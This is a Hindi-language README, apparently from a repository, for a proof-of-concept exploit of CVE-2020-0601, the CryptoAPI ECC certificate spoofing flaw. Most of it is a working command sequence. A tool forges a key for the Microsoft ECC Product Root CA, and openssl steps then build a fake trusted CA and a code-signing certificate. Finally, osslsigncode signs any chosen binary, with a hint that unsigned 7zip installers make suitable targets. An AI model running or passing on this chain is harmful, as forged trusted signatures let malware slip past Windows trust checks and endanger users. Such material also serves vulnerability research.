
CVE-2020-0601 के लिए PoC - CryptoAPI शोषण
CVE-2020-0601 के लिए एक PoC। एक विस्तृत ब्लॉग पोस्ट [यहाँ] पाई जा सकती है। यह शोषण आपको एक नकली विश्वसनीय प्रमाणपत्र बनाने की अनुमति देता है, जो CryptoAPI द्वारा ECC आधारित प्रमाणपत्रों पर कुछ मापदंडों को संभालने के तरीके का दुरुपयोग करता है।
रिपॉजिटरी को क्लोन करें और इसे Visual Studio 2019 में खोलें। Release पर स्विच करें और इसे संकलित करें। आप पूर्व-निर्मित बाइनरी [यहाँ] पा सकते हैं।
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>
ध्यान दें कि 7zip इंस्टॉलर सामान्यतः हस्ताक्षरित नहीं होता है!
